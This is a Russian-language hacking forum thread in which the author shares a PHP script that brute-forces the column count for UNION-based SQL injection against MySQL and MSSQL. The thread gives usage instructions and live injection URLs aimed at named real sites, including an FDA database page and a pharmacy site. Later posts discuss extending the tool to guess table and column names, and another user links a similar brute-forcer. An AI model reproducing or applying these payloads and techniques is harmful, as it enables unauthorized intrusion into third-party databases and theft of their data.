Скрипт для перебора полей my/ms sql. Вот написал. _http://pidor.in/sql-scan.php Как юзать. host Code: www.accessdata.fda.gov левая часть. Code: /scripts/cder/onctools/studies.cfm?ID=1+union+select+ Правая часть. Code: -- Ошибка. Code: must have an equal number of expressions Максимальное чисто колонок. Code: 200 Работает как на mysql там и на mssql. Внимае в колонку ошибка вводить данные ошибки колва столбцов. это может быть 1 слово или фраза главное что бы она не встретилась при выводе с нулями... Смотрим ошибку. http://www.accessdata.fda.gov/scripts/cder/onctools/studies.cfm?ID=1+union+select+1-- При точном кол ве полей она другая.
Малясь оптимизировал работу. Теперь гараздо быстрее... Планируеться седать перебор колонок и таблиц. Кто хочет помочь можете постить заумные названия колонки и таблиц. Просьба постить с пометкой колонки это или таблицы.
Пример на php host :www.pharm-system.com left : /index.phtml?page=news&id=-1+union+select+ right : /* erorr : Error in query 2 The used SELECT statements have a different number of columns (смотрим тут http://www.pharm-system.com/index.phtml?page=news&id=-1+union+select+1/*) coll : 30
Можно для перебора имен таблиц добавить еще и префикс. А то часто такое бывает, вроде и имена должны быть стандартные, набираешь, а нифига.
Еще одно обновление. Не как не могу разобраться с перебором таблиц. Скоро будет добавленна опция debug. И перебор таблиц.
я тож когдато брутер sql писал... собсно мой вариант: http://striem.org/sql/ ток у меня имена таблиц/колонок подбирает.
Проверил, всегда находит одну колонку. Сколько бы небыло в скуле их=) Так что низачот. Заходи на канал, я там сейчас